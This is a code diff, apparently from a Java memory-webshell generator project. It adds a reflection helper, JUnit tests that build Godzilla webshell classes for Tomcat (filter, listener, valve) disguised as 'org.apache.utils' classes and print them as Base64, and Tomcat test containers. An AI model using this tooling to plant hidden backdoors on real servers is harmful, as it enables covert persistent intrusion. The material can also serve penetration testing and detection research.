+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java

@@ -28,33 +28,8 @@ class GodzillaGeneratorTest {
     @Test
     @Disabled("just for generate")
     void testGenerate() throws IOException {
-        System.out.println("hello");
         String className = "org.apache.utils.CommonFilter";
         byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
         IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
     }
-
-    @Test
-    void generateFilter() {
-        String className = "org.apache.utils.CommonFilter";
-        byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
-        Object obj = ClassUtils.newInstance(bytes);
-        assertEquals(className, obj.getClass().getName());
-        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
-        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
-        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
-        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
-    }
-
-    @Test
-    void generateListener() {
-        String className = "org.apache.utils.CommonListener";
-        byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
-        Object obj = ClassUtils.newInstance(bytes);
-        assertEquals(className, obj.getClass().getName());
-        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
-        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
-        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
-        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
-    }
 }

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java

@@ -0,0 +1,40 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import com.reajason.javaweb.memsell.GodzillaGenerator;
+import com.reajason.javaweb.util.ClassUtils;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.io.IOUtils;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+class GodzillaFilterTest {
+
+    GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
+    String pass = "pass";
+    String key = "key";
+    String headerName = "User-Agent";
+    String headerValue = "test";
+
+    @Test
+    void generate() {
+        String className = "org.apache.utils.CommonFilter";
+        byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+        System.out.println(Base64.encodeBase64String(bytes));
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import com.reajason.javaweb.memsell.GodzillaGenerator;
+import com.reajason.javaweb.util.ClassUtils;
+import org.apache.commons.codec.binary.Base64;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+class GodzillaJakartaFilterTest {
+
+    GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
+    String pass = "pass";
+    String key = "key";
+    String headerName = "User-Agent";
+    String headerValue = "test";
+
+    @Test
+    void generate() {
+        String className = "org.apache.utils.CommonJakartaFilter";
+        byte[] bytes = godzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+        System.out.println(Base64.encodeBase64String(bytes));
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import com.reajason.javaweb.memsell.GodzillaGenerator;
+import com.reajason.javaweb.util.ClassUtils;
+import org.apache.commons.codec.binary.Base64;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+class GodzillaJakartaListenerTest {
+
+    GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
+    String pass = "pass";
+    String key = "key";
+    String headerName = "User-Agent";
+    String headerValue = "test";
+
+    @Test
+    void generate() {
+        String className = "org.apache.utils.CommonJakartaListener";
+        byte[] bytes = godzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+        System.out.println(Base64.encodeBase64String(bytes));
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import com.reajason.javaweb.memsell.GodzillaGenerator;
+import com.reajason.javaweb.util.ClassUtils;
+import org.apache.commons.codec.binary.Base64;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+class GodzillaListenerTest {
+
+    GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
+    String pass = "pass";
+    String key = "key";
+    String headerName = "User-Agent";
+    String headerValue = "test";
+
+    @Test
+    void generate() {
+        String className = "org.apache.utils.CommonListener";
+        byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+        System.out.println(Base64.encodeBase64String(bytes));
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java

@@ -0,0 +1,33 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import com.reajason.javaweb.memsell.GodzillaGenerator;
+import com.reajason.javaweb.util.ClassUtils;
+import org.apache.commons.codec.binary.Base64;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+class GodzillaValveTest {
+    GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
+    String pass = "pass";
+    String key = "key";
+    String headerName = "User-Agent";
+    String headerValue = "test";
+
+    @Test
+    void generate() {
+        String className = "org.apache.utils.CommonValve";
+        byte[] bytes = godzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+        System.out.println(Base64.encodeBase64String(bytes));
+    }
+}

integration/tomcat/docker-compose.yaml

@@ -1,7 +1,13 @@
 services:
   tomcat8:
-    image: tomcat:8.5.100-jre8
+    image: tomcat:8-jre8
     ports:
       - "8888:8080"
+    volumes:
+      - ./test.war:/usr/local/tomcat/webapps/test.war
+  tomcat10:
+    image: tomcat:10-jre11
+    ports:
+      - "8810:8080"
     volumes:
       - ./test.war:/usr/local/tomcat/webapps/test.war